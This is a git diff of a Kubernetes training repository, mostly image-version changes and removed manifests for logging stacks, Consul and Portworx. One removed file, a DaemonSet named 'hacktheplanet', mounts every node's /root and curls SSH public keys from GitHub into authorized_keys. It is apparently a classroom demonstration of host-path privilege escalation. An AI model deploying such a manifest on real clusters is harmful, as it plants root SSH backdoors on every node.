Compare commits

..

3 Commits

Author SHA1 Message Date
Jerome Petazzoni
723b895491 fix-redirects.sh: adding forced redirect 2020-04-07 16:49:04 -05:00
Jerome Petazzoni
68646766a4 Add hotel wifi info 2019-04-15 02:07:25 -05:00
Jerome Petazzoni
74a3a1a589 Customization for April 2019 Paris training 2019-04-14 10:53:11 -05:00
162 changed files with 2099 additions and 35534 deletions

1
.gitignore vendored
View File

@@ -3,7 +3,6 @@
*~
prepare-vms/tags
prepare-vms/infra
prepare-vms/www
slides/*.yml.html
slides/autopilot/state.yaml
slides/index.html

View File

@@ -39,7 +39,7 @@ your own tutorials.
All these materials have been gathered in a single repository
because they have a few things in common:
- some [shared slides](slides/shared/) that are re-used
- some [common slides](slides/common/) that are re-used
(and updated) identically between different decks;
- a [build system](slides/) generating HTML slides from
Markdown source files;

View File

@@ -72,7 +72,7 @@ spec:
terminationGracePeriodSeconds: 10
containers:
- name: consul
image: "consul:1.5"
image: "consul:1.4.4"
args:
- "agent"
- "-bootstrap-expect=3"

View File

@@ -3,6 +3,7 @@ apiVersion: v1
kind: ServiceAccount
metadata:
name: fluentd
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRole
@@ -18,6 +19,7 @@ rules:
- get
- list
- watch
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
@@ -31,18 +33,23 @@ subjects:
- kind: ServiceAccount
name: fluentd
namespace: default
---
apiVersion: extensions/v1beta1
kind: DaemonSet
metadata:
name: fluentd
labels:
app: fluentd
k8s-app: fluentd-logging
version: v1
kubernetes.io/cluster-service: "true"
spec:
template:
metadata:
labels:
app: fluentd
k8s-app: fluentd-logging
version: v1
kubernetes.io/cluster-service: "true"
spec:
serviceAccount: fluentd
serviceAccountName: fluentd
@@ -51,7 +58,7 @@ spec:
effect: NoSchedule
containers:
- name: fluentd
image: fluent/fluentd-kubernetes-daemonset:v1.4-debian-elasticsearch-1
image: fluent/fluentd-kubernetes-daemonset:elasticsearch
env:
- name: FLUENT_ELASTICSEARCH_HOST
value: "elasticsearch"
@@ -59,12 +66,14 @@ spec:
value: "9200"
- name: FLUENT_ELASTICSEARCH_SCHEME
value: "http"
# X-Pack Authentication
# =====================
- name: FLUENT_ELASTICSEARCH_USER
value: "elastic"
- name: FLUENT_ELASTICSEARCH_PASSWORD
value: "changeme"
- name: FLUENT_UID
value: "0"
- name: FLUENTD_SYSTEMD_CONF
value: "disable"
- name: FLUENTD_PROMETHEUS_CONF
value: "disable"
resources:
limits:
memory: 200Mi
@@ -85,83 +94,134 @@ spec:
- name: varlibdockercontainers
hostPath:
path: /var/lib/docker/containers
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
creationTimestamp: null
generation: 1
labels:
app: elasticsearch
run: elasticsearch
name: elasticsearch
selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/elasticsearch
spec:
progressDeadlineSeconds: 600
replicas: 1
revisionHistoryLimit: 10
selector:
matchLabels:
app: elasticsearch
run: elasticsearch
strategy:
rollingUpdate:
maxSurge: 1
maxUnavailable: 1
type: RollingUpdate
template:
metadata:
creationTimestamp: null
labels:
app: elasticsearch
run: elasticsearch
spec:
containers:
- image: elasticsearch:5
- image: elasticsearch:5.6.8
imagePullPolicy: IfNotPresent
name: elasticsearch
resources:
limits:
memory: 2Gi
requests:
memory: 1Gi
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
env:
- name: ES_JAVA_OPTS
value: "-Xms1g -Xmx1g"
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
terminationGracePeriodSeconds: 30
---
apiVersion: v1
kind: Service
metadata:
creationTimestamp: null
labels:
app: elasticsearch
run: elasticsearch
name: elasticsearch
selfLink: /api/v1/namespaces/default/services/elasticsearch
spec:
ports:
- port: 9200
protocol: TCP
targetPort: 9200
selector:
app: elasticsearch
run: elasticsearch
sessionAffinity: None
type: ClusterIP
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
creationTimestamp: null
generation: 1
labels:
app: kibana
run: kibana
name: kibana
selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/kibana
spec:
progressDeadlineSeconds: 600
replicas: 1
revisionHistoryLimit: 10
selector:
matchLabels:
app: kibana
run: kibana
strategy:
rollingUpdate:
maxSurge: 1
maxUnavailable: 1
type: RollingUpdate
template:
metadata:
creationTimestamp: null
labels:
app: kibana
run: kibana
spec:
containers:
- env:
- name: ELASTICSEARCH_URL
value: http://elasticsearch:9200/
image: kibana:5
image: kibana:5.6.8
imagePullPolicy: Always
name: kibana
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
terminationGracePeriodSeconds: 30
---
apiVersion: v1
kind: Service
metadata:
creationTimestamp: null
labels:
app: kibana
run: kibana
name: kibana
selfLink: /api/v1/namespaces/default/services/kibana
spec:
externalTrafficPolicy: Cluster
ports:
- port: 5601
protocol: TCP
targetPort: 5601
selector:
app: kibana
run: kibana
sessionAffinity: None
type: NodePort

View File

@@ -1,21 +0,0 @@
apiVersion: enterprises.upmc.com/v1
kind: ElasticsearchCluster
metadata:
name: es
spec:
kibana:
image: docker.elastic.co/kibana/kibana-oss:6.1.3
image-pull-policy: Always
cerebro:
image: upmcenterprises/cerebro:0.7.2
image-pull-policy: Always
elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
image-pull-policy: Always
client-node-replicas: 2
master-node-replicas: 3
data-node-replicas: 3
network-host: 0.0.0.0
use-ssl: false
data-volume-size: 10Gi
java-options: "-Xms512m -Xmx512m"

View File

@@ -1,94 +0,0 @@
# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
---
apiVersion: v1
kind: Namespace
metadata:
name: elasticsearch-operator
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: elasticsearch-operator
namespace: elasticsearch-operator
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRole
metadata:
name: elasticsearch-operator
rules:
- apiGroups: ["extensions"]
resources: ["deployments", "replicasets", "daemonsets"]
verbs: ["create", "get", "update", "delete", "list"]
- apiGroups: ["apiextensions.k8s.io"]
resources: ["customresourcedefinitions"]
verbs: ["create", "get", "update", "delete", "list"]
- apiGroups: ["storage.k8s.io"]
resources: ["storageclasses"]
verbs: ["get", "list", "create", "delete", "deletecollection"]
- apiGroups: [""]
resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"]
verbs: ["create", "get", "update", "delete", "list"]
- apiGroups: ["batch"]
resources: ["cronjobs", "jobs"]
verbs: ["create", "get", "deletecollection", "delete"]
- apiGroups: [""]
resources: ["pods"]
verbs: ["list", "get", "watch"]
- apiGroups: ["apps"]
resources: ["statefulsets", "deployments"]
verbs: ["*"]
- apiGroups: ["enterprises.upmc.com"]
resources: ["elasticsearchclusters"]
verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
name: elasticsearch-operator
namespace: elasticsearch-operator
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: elasticsearch-operator
subjects:
- kind: ServiceAccount
name: elasticsearch-operator
namespace: elasticsearch-operator
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
name: elasticsearch-operator
namespace: elasticsearch-operator
spec:
replicas: 1
template:
metadata:
labels:
name: elasticsearch-operator
spec:
containers:
- name: operator
image: upmcenterprises/elasticsearch-operator:0.2.0
imagePullPolicy: Always
env:
- name: NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
ports:
- containerPort: 8000
name: http
livenessProbe:
httpGet:
path: /live
port: 8000
initialDelaySeconds: 10
timeoutSeconds: 10
readinessProbe:
httpGet:
path: /ready
port: 8000
initialDelaySeconds: 10
timeoutSeconds: 5
serviceAccount: elasticsearch-operator

View File

@@ -1,167 +0,0 @@
---
apiVersion: v1
kind: ConfigMap
metadata:
name: filebeat-config
namespace: kube-system
labels:
k8s-app: filebeat
data:
filebeat.yml: |-
filebeat.config:
inputs:
# Mounted `filebeat-inputs` configmap:
path: ${path.config}/inputs.d/*.yml
# Reload inputs configs as they change:
reload.enabled: false
modules:
path: ${path.config}/modules.d/*.yml
# Reload module configs as they change:
reload.enabled: false
# To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
#filebeat.autodiscover:
# providers:
# - type: kubernetes
# hints.enabled: true
processors:
- add_cloud_metadata:
cloud.id: ${ELASTIC_CLOUD_ID}
cloud.auth: ${ELASTIC_CLOUD_AUTH}
output.elasticsearch:
hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
username: ${ELASTICSEARCH_USERNAME}
password: ${ELASTICSEARCH_PASSWORD}
---
apiVersion: v1
kind: ConfigMap
metadata:
name: filebeat-inputs
namespace: kube-system
labels:
k8s-app: filebeat
data:
kubernetes.yml: |-
- type: docker
containers.ids:
- "*"
processors:
- add_kubernetes_metadata:
in_cluster: true
---
apiVersion: extensions/v1beta1
kind: DaemonSet
metadata:
name: filebeat
namespace: kube-system
labels:
k8s-app: filebeat
spec:
template:
metadata:
labels:
k8s-app: filebeat
spec:
serviceAccountName: filebeat
terminationGracePeriodSeconds: 30
containers:
- name: filebeat
image: docker.elastic.co/beats/filebeat-oss:7.0.1
args: [
"-c", "/etc/filebeat.yml",
"-e",
]
env:
- name: ELASTICSEARCH_HOST
value: elasticsearch-es.default.svc.cluster.local
- name: ELASTICSEARCH_PORT
value: "9200"
- name: ELASTICSEARCH_USERNAME
value: elastic
- name: ELASTICSEARCH_PASSWORD
value: changeme
- name: ELASTIC_CLOUD_ID
value:
- name: ELASTIC_CLOUD_AUTH
value:
securityContext:
runAsUser: 0
# If using Red Hat OpenShift uncomment this:
#privileged: true
resources:
limits:
memory: 200Mi
requests:
cpu: 100m
memory: 100Mi
volumeMounts:
- name: config
mountPath: /etc/filebeat.yml
readOnly: true
subPath: filebeat.yml
- name: inputs
mountPath: /usr/share/filebeat/inputs.d
readOnly: true
- name: data
mountPath: /usr/share/filebeat/data
- name: varlibdockercontainers
mountPath: /var/lib/docker/containers
readOnly: true
volumes:
- name: config
configMap:
defaultMode: 0600
name: filebeat-config
- name: varlibdockercontainers
hostPath:
path: /var/lib/docker/containers
- name: inputs
configMap:
defaultMode: 0600
name: filebeat-inputs
# data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
- name: data
hostPath:
path: /var/lib/filebeat-data
type: DirectoryOrCreate
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
name: filebeat
subjects:
- kind: ServiceAccount
name: filebeat
namespace: kube-system
roleRef:
kind: ClusterRole
name: filebeat
apiGroup: rbac.authorization.k8s.io
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRole
metadata:
name: filebeat
labels:
k8s-app: filebeat
rules:
- apiGroups: [""] # "" indicates the core API group
resources:
- namespaces
- pods
verbs:
- get
- watch
- list
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: filebeat
namespace: kube-system
labels:
k8s-app: filebeat
---

View File

@@ -1,34 +0,0 @@
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: hacktheplanet
spec:
selector:
matchLabels:
app: hacktheplanet
template:
metadata:
labels:
app: hacktheplanet
spec:
volumes:
- name: root
hostPath:
path: /root
tolerations:
- effect: NoSchedule
operator: Exists
initContainers:
- name: hacktheplanet
image: alpine
volumeMounts:
- name: root
mountPath: /root
command:
- sh
- -c
- "apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
containers:
- name: web
image: nginx

View File

@@ -1,14 +1,14 @@
apiVersion: networking.k8s.io/v1beta1
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: cheddar
spec:
rules:
- host: px.3.123.33.38.nip.io
- host: cheddar.A.B.C.D.nip.io
http:
paths:
- path: /
backend:
serviceName: px-lighthouse
serviceName: cheddar
servicePort: 80

View File

@@ -12,6 +12,11 @@
# See the License for the specific language governing permissions and
# limitations under the License.
# Configuration to deploy release version of the Dashboard UI compatible with
# Kubernetes 1.8.
#
# Example usage: kubectl create -f <this_file>
# ------------------- Dashboard Secret ------------------- #
apiVersion: v1
@@ -90,7 +95,7 @@ subjects:
# ------------------- Dashboard Deployment ------------------- #
kind: Deployment
apiVersion: apps/v1
apiVersion: apps/v1beta2
metadata:
labels:
k8s-app: kubernetes-dashboard
@@ -109,13 +114,12 @@ spec:
spec:
containers:
- name: kubernetes-dashboard
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3
ports:
- containerPort: 8443
protocol: TCP
args:
- --auto-generate-certificates
- --enable-skip-login
# Uncomment the following line to manually specify Kubernetes API server Host
# If not specified, Dashboard will attempt to auto discover the API server and connect
# to it. Uncomment only if the default does not work.

View File

@@ -12,6 +12,11 @@
# See the License for the specific language governing permissions and
# limitations under the License.
# Configuration to deploy release version of the Dashboard UI compatible with
# Kubernetes 1.8.
#
# Example usage: kubectl create -f <this_file>
# ------------------- Dashboard Secret ------------------- #
apiVersion: v1
@@ -90,7 +95,7 @@ subjects:
# ------------------- Dashboard Deployment ------------------- #
kind: Deployment
apiVersion: apps/v1
apiVersion: apps/v1beta2
metadata:
labels:
k8s-app: kubernetes-dashboard
@@ -109,7 +114,7 @@ spec:
spec:
containers:
- name: kubernetes-dashboard
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1
image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3
ports:
- containerPort: 8443
protocol: TCP

View File

@@ -1,110 +0,0 @@
# This is a local copy of:
# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
---
apiVersion: v1
kind: Namespace
metadata:
name: local-path-storage
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: local-path-provisioner-service-account
namespace: local-path-storage
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRole
metadata:
name: local-path-provisioner-role
namespace: local-path-storage
rules:
- apiGroups: [""]
resources: ["nodes", "persistentvolumeclaims"]
verbs: ["get", "list", "watch"]
- apiGroups: [""]
resources: ["endpoints", "persistentvolumes", "pods"]
verbs: ["*"]
- apiGroups: [""]
resources: ["events"]
verbs: ["create", "patch"]
- apiGroups: ["storage.k8s.io"]
resources: ["storageclasses"]
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
name: local-path-provisioner-bind
namespace: local-path-storage
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: local-path-provisioner-role
subjects:
- kind: ServiceAccount
name: local-path-provisioner-service-account
namespace: local-path-storage
---
apiVersion: apps/v1beta2
kind: Deployment
metadata:
name: local-path-provisioner
namespace: local-path-storage
spec:
replicas: 1
selector:
matchLabels:
app: local-path-provisioner
template:
metadata:
labels:
app: local-path-provisioner
spec:
serviceAccountName: local-path-provisioner-service-account
containers:
- name: local-path-provisioner
image: rancher/local-path-provisioner:v0.0.8
imagePullPolicy: Always
command:
- local-path-provisioner
- --debug
- start
- --config
- /etc/config/config.json
volumeMounts:
- name: config-volume
mountPath: /etc/config/
env:
- name: POD_NAMESPACE
valueFrom:
fieldRef:
fieldPath: metadata.namespace
volumes:
- name: config-volume
configMap:
name: local-path-config
---
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: local-path
provisioner: rancher.io/local-path
volumeBindingMode: WaitForFirstConsumer
reclaimPolicy: Delete
---
kind: ConfigMap
apiVersion: v1
metadata:
name: local-path-config
namespace: local-path-storage
data:
config.json: |-
{
"nodePathMap":[
{
"node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
"paths":["/opt/local-path-provisioner"]
}
]
}

View File

@@ -82,7 +82,7 @@ spec:
emptyDir: {}
containers:
- name: metrics-server
image: k8s.gcr.io/metrics-server-amd64:v0.3.3
image: k8s.gcr.io/metrics-server-amd64:v0.3.1
imagePullPolicy: Always
volumeMounts:
- name: tmp-dir

View File

@@ -1,95 +0,0 @@
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: consul
rules:
- apiGroups: [ "" ]
resources: [ pods ]
verbs: [ get, list ]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: consul
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: consul
subjects:
- kind: ServiceAccount
name: consul
namespace: orange
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: consul
---
apiVersion: v1
kind: Service
metadata:
name: consul
spec:
ports:
- port: 8500
name: http
selector:
app: consul
---
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: consul
spec:
serviceName: consul
replicas: 3
selector:
matchLabels:
app: consul
volumeClaimTemplates:
- metadata:
name: data
spec:
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 1Gi
template:
metadata:
labels:
app: consul
spec:
serviceAccountName: consul
affinity:
podAntiAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
- labelSelector:
matchExpressions:
- key: app
operator: In
values:
- consul
topologyKey: kubernetes.io/hostname
terminationGracePeriodSeconds: 10
containers:
- name: consul
image: "consul:1.5"
volumeMounts:
- name: data
mountPath: /consul/data
args:
- "agent"
- "-bootstrap-expect=3"
- "-retry-join=provider=k8s namespace=orange label_selector=\"app=consul\""
- "-client=0.0.0.0"
- "-data-dir=/consul/data"
- "-server"
- "-ui"
lifecycle:
preStop:
exec:
command:
- /bin/sh
- -c
- consul leave

View File

@@ -1,340 +1,4 @@
# SOURCE: https://install.portworx.com/?kbver=1.15.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true&st=k8s&mc=false
# SOURCE: https://install.portworx.com/?kbver=1.15.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true&st=k8s&mc=false
---
kind: Service
apiVersion: v1
metadata:
name: portworx-service
namespace: kube-system
labels:
name: portworx
spec:
selector:
name: portworx
type: NodePort
ports:
- name: px-api
protocol: TCP
port: 9001
targetPort: 9001
- name: px-kvdb
protocol: TCP
port: 9019
targetPort: 9019
- name: px-sdk
protocol: TCP
port: 9020
targetPort: 9020
- name: px-rest-gateway
protocol: TCP
port: 9021
targetPort: 9021
---
apiVersion: apiextensions.k8s.io/v1beta1
kind: CustomResourceDefinition
metadata:
name: volumeplacementstrategies.portworx.io
spec:
group: portworx.io
versions:
- name: v1beta2
served: true
storage: true
- name: v1beta1
served: false
storage: false
scope: Cluster
names:
plural: volumeplacementstrategies
singular: volumeplacementstrategy
kind: VolumePlacementStrategy
shortNames:
- vps
- vp
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: px-account
namespace: kube-system
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: node-get-put-list-role
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list"]
- apiGroups: [""]
resources: ["nodes"]
verbs: ["watch", "get", "update", "list"]
- apiGroups: [""]
resources: ["pods"]
verbs: ["delete", "get", "list", "watch", "update"]
- apiGroups: [""]
resources: ["persistentvolumeclaims", "persistentvolumes"]
verbs: ["get", "list"]
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get", "list", "update", "create"]
- apiGroups: ["extensions"]
resources: ["podsecuritypolicies"]
resourceNames: ["privileged"]
verbs: ["use"]
- apiGroups: ["portworx.io"]
resources: ["volumeplacementstrategies"]
verbs: ["get", "list"]
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: node-role-binding
subjects:
- kind: ServiceAccount
name: px-account
namespace: kube-system
roleRef:
kind: ClusterRole
name: node-get-put-list-role
apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: Namespace
metadata:
name: portworx
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: px-role
namespace: portworx
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "create", "update", "patch"]
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: px-role-binding
namespace: portworx
subjects:
- kind: ServiceAccount
name: px-account
namespace: kube-system
roleRef:
kind: Role
name: px-role
apiGroup: rbac.authorization.k8s.io
---
apiVersion: extensions/v1beta1
kind: DaemonSet
metadata:
name: portworx
namespace: kube-system
annotations:
portworx.com/install-source: "https://install.portworx.com/?kbver=1.15.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true&st=k8s&mc=false"
spec:
minReadySeconds: 0
updateStrategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 1
template:
metadata:
labels:
name: portworx
spec:
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: px/enabled
operator: NotIn
values:
- "false"
- key: node-role.kubernetes.io/master
operator: DoesNotExist
hostNetwork: true
hostPID: false
initContainers:
- name: checkloop
image: alpine
command: [ "sh", "-c" ]
args:
- |
if ! grep -q loop4 /proc/partitions; then
echo 'Could not find "loop4" in /proc/partitions. Please create it first.'
exit 1
fi
containers:
- name: portworx
image: portworx/oci-monitor:2.1.3
imagePullPolicy: Always
args:
["-c", "px-workshop", "-s", "/dev/loop4", "-secret_type", "k8s", "-b",
"-x", "kubernetes"]
env:
- name: "AUTO_NODE_RECOVERY_TIMEOUT_IN_SECS"
value: "1500"
- name: "PX_TEMPLATE_VERSION"
value: "v4"
livenessProbe:
periodSeconds: 30
initialDelaySeconds: 840 # allow image pull in slow networks
httpGet:
host: 127.0.0.1
path: /status
port: 9001
readinessProbe:
periodSeconds: 10
httpGet:
host: 127.0.0.1
path: /health
port: 9015
terminationMessagePath: "/tmp/px-termination-log"
securityContext:
privileged: true
volumeMounts:
- name: diagsdump
mountPath: /var/cores
- name: dockersock
mountPath: /var/run/docker.sock
- name: containerdsock
mountPath: /run/containerd
- name: criosock
mountPath: /var/run/crio
- name: crioconf
mountPath: /etc/crictl.yaml
- name: etcpwx
mountPath: /etc/pwx
- name: optpwx
mountPath: /opt/pwx
- name: procmount
mountPath: /host_proc
- name: sysdmount
mountPath: /etc/systemd/system
- name: journalmount1
mountPath: /var/run/log
readOnly: true
- name: journalmount2
mountPath: /var/log
readOnly: true
- name: dbusmount
mountPath: /var/run/dbus
restartPolicy: Always
serviceAccountName: px-account
volumes:
- name: diagsdump
hostPath:
path: /var/cores
- name: dockersock
hostPath:
path: /var/run/docker.sock
- name: containerdsock
hostPath:
path: /run/containerd
- name: criosock
hostPath:
path: /var/run/crio
- name: crioconf
hostPath:
path: /etc/crictl.yaml
type: FileOrCreate
- name: etcpwx
hostPath:
path: /etc/pwx
- name: optpwx
hostPath:
path: /opt/pwx
- name: procmount
hostPath:
path: /proc
- name: sysdmount
hostPath:
path: /etc/systemd/system
- name: journalmount1
hostPath:
path: /var/run/log
- name: journalmount2
hostPath:
path: /var/log
- name: dbusmount
hostPath:
path: /var/run/dbus
---
kind: Service
apiVersion: v1
metadata:
name: portworx-api
namespace: kube-system
labels:
name: portworx-api
spec:
selector:
name: portworx-api
type: NodePort
ports:
- name: px-api
protocol: TCP
port: 9001
targetPort: 9001
- name: px-sdk
protocol: TCP
port: 9020
targetPort: 9020
- name: px-rest-gateway
protocol: TCP
port: 9021
targetPort: 9021
---
apiVersion: extensions/v1beta1
kind: DaemonSet
metadata:
name: portworx-api
namespace: kube-system
spec:
minReadySeconds: 0
updateStrategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 100%
template:
metadata:
labels:
name: portworx-api
spec:
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: px/enabled
operator: NotIn
values:
- "false"
- key: node-role.kubernetes.io/master
operator: DoesNotExist
hostNetwork: true
hostPID: false
containers:
- name: portworx-api
image: k8s.gcr.io/pause:3.1
imagePullPolicy: Always
readinessProbe:
periodSeconds: 10
httpGet:
host: 127.0.0.1
path: /status
port: 9001
restartPolicy: Always
serviceAccountName: px-account
---
# SOURCE: https://install.portworx.com/?kbver=1.11.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true
apiVersion: v1
kind: ConfigMap
metadata:
@@ -347,7 +11,7 @@ data:
"apiVersion": "v1",
"extenders": [
{
"urlPrefix": "http://stork-service.kube-system:8099",
"urlPrefix": "http://stork-service.kube-system.svc:8099",
"apiVersion": "v1beta1",
"filterVerb": "filter",
"prioritizeVerb": "prioritize",
@@ -370,8 +34,8 @@ metadata:
name: stork-role
rules:
- apiGroups: [""]
resources: ["pods", "pods/exec"]
verbs: ["get", "list", "delete", "create", "watch"]
resources: ["pods"]
verbs: ["get", "list", "delete"]
- apiGroups: [""]
resources: ["persistentvolumes"]
verbs: ["get", "list", "watch", "create", "delete"]
@@ -384,14 +48,14 @@ rules:
- apiGroups: [""]
resources: ["events"]
verbs: ["list", "watch", "create", "update", "patch"]
- apiGroups: ["stork.libopenstorage.org"]
resources: ["*"]
verbs: ["get", "list", "watch", "update", "patch", "create", "delete"]
- apiGroups: ["apiextensions.k8s.io"]
resources: ["customresourcedefinitions"]
verbs: ["create", "get"]
verbs: ["create", "list", "watch", "delete"]
- apiGroups: ["volumesnapshot.external-storage.k8s.io"]
resources: ["volumesnapshots", "volumesnapshotdatas"]
resources: ["volumesnapshots"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: ["volumesnapshot.external-storage.k8s.io"]
resources: ["volumesnapshotdatas"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
resources: ["configmaps"]
@@ -408,9 +72,6 @@ rules:
- apiGroups: ["*"]
resources: ["statefulsets", "statefulsets/extensions"]
verbs: ["list", "get", "watch", "patch", "update", "initialize"]
- apiGroups: ["*"]
resources: ["*"]
verbs: ["list", "get"]
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
@@ -470,10 +131,7 @@ spec:
- --leader-elect=true
- --health-monitor-interval=120
imagePullPolicy: Always
image: openstorage/stork:2.2.4
env:
- name: "PX_SERVICE_NAME"
value: "portworx-api"
image: openstorage/stork:1.1.3
resources:
requests:
cpu: '0.1'
@@ -510,13 +168,16 @@ metadata:
rules:
- apiGroups: [""]
resources: ["endpoints"]
verbs: ["get", "create", "update"]
verbs: ["get", "update"]
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get"]
- apiGroups: [""]
resources: ["events"]
verbs: ["create", "patch", "update"]
- apiGroups: [""]
resources: ["endpoints"]
verbs: ["create"]
- apiGroups: [""]
resourceNames: ["kube-scheduler"]
resources: ["endpoints"]
@@ -536,7 +197,7 @@ rules:
- apiGroups: [""]
resources: ["replicationcontrollers", "services"]
verbs: ["get", "list", "watch"]
- apiGroups: ["apps", "extensions"]
- apiGroups: ["app", "extensions"]
resources: ["replicasets"]
verbs: ["get", "list", "watch"]
- apiGroups: ["apps"]
@@ -592,7 +253,7 @@ spec:
- --policy-configmap=stork-config
- --policy-configmap-namespace=kube-system
- --lock-object-name=stork-scheduler
image: gcr.io/google_containers/kube-scheduler-amd64:v1.15.2
image: gcr.io/google_containers/kube-scheduler-amd64:v1.11.2
livenessProbe:
httpGet:
path: /healthz
@@ -619,61 +280,229 @@ spec:
hostPID: false
serviceAccountName: stork-scheduler-account
---
kind: Service
apiVersion: v1
metadata:
name: portworx-service
namespace: kube-system
labels:
name: portworx
spec:
selector:
name: portworx
ports:
- name: px-api
protocol: TCP
port: 9001
targetPort: 9001
---
apiVersion: v1
kind: ServiceAccount
metadata:
name: px-account
namespace: kube-system
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: node-get-put-list-role
rules:
- apiGroups: [""]
resources: ["nodes"]
verbs: ["watch", "get", "update", "list"]
- apiGroups: [""]
resources: ["pods"]
verbs: ["delete", "get", "list"]
- apiGroups: [""]
resources: ["persistentvolumeclaims", "persistentvolumes"]
verbs: ["get", "list"]
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get", "list", "update", "create"]
- apiGroups: ["extensions"]
resources: ["podsecuritypolicies"]
resourceNames: ["privileged"]
verbs: ["use"]
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: node-role-binding
subjects:
- kind: ServiceAccount
name: px-account
namespace: kube-system
roleRef:
kind: ClusterRole
name: node-get-put-list-role
apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: Namespace
metadata:
name: portworx
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: px-role
namespace: portworx
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "create", "update", "patch"]
---
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: px-role-binding
namespace: portworx
subjects:
- kind: ServiceAccount
name: px-account
namespace: kube-system
roleRef:
kind: Role
name: px-role
apiGroup: rbac.authorization.k8s.io
---
apiVersion: extensions/v1beta1
kind: DaemonSet
metadata:
name: portworx
namespace: kube-system
annotations:
portworx.com/install-source: "https://install.portworx.com/?kbver=1.11.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true"
spec:
minReadySeconds: 0
updateStrategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 1
template:
metadata:
labels:
name: portworx
spec:
affinity:
nodeAffinity:
requiredDuringSchedulingIgnoredDuringExecution:
nodeSelectorTerms:
- matchExpressions:
- key: px/enabled
operator: NotIn
values:
- "false"
